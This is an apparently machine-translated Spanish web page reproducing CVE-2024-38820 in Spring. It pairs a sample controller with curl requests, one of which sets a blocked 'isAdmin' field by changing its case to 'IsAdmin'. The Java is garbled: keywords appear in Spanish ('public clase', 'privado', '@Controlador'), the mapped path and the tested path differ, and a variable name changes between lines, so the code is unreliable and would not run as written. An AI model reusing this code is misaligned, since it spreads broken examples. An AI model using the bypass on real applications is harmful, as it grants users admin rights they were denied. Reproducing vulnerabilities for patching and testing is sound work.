He aquí un ejemplo mínimo para reproducir CVE-2024-38820, mostrando cómo un error de case en DataBinder.disallowedFields puede permitir la configuración de campos sensibles que deberían haber sido bloqueados.
Configuración:Spring® Boot +Spring® Web (versión vulnerable)
pom.xml: utiliza una versión vulnerablede Spring® (por ejemplo, 5.3.39).
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.7.18</version> <!– Uses Spring® Framework 5.3.39 –>
</dependency>
Código de ejemplo
Usuario.java
public clase Usuario {
privado String username;
booleano privado isAdmin;
// Getters and setters
public String getUsername() { return username; }
public void setUsername(String username) { this.username = username; }
public boolean isAdmin() { return isAdmin; }
public void setAdmin(boolean isAdmin) { this.isAdmin = isAdmin; }
}
UserController.java
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.*;
@Controlador
@RequestMapping("/usuario")
public clase UserController {
@InitBinder
public void initBinder(WebDataBinder binder) {
binder.setDisallowedFields("isAdmin"); // Pretende bloquear la vinculación de isAdmin
}
@PostMapping
@ResponseBody
public String createUser(@ModelAttribute Usuario usuario) {
return "NombreUsuario: " + user.getUsername() + ", isAdmin: " + user.isAdmin();
}
}
Prueba mediante Curl o Postman
✅ Solicitud de seguridad prevista
curl -X POST http://localhost:8080/user -d "username=bob&isAdmin=true"
- Resultado (como se esperaba): isAdmin = false.
→ DataBinder bloquea el campo isAdmin.
❌ Bypass mediante variación de casos
curl -X POST http://localhost:8080/user -d "username=bob&IsAdmin=true"
- Resultado (inesperado): isAdmin = true
→ La comprobación de campos no permitidos falla debido a una incompatibilidad de casos.
Soporte técnico
Documentación
Inicio de sesión
Contáctenos
